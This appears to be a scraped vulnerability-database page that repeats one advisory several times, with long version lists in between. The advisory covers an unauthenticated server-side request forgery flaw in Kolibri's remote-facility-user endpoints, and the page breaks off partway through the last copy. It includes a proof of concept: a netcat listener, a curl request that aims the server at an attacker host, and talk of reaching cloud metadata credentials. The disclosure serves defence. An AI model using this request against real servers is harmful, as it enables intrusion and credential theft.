            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 14, 2022

0.15.0 minor

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 20, 2021

0.15.0b5 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 20, 2021

0.14.8a1 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 10, 2021

0.14.7 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
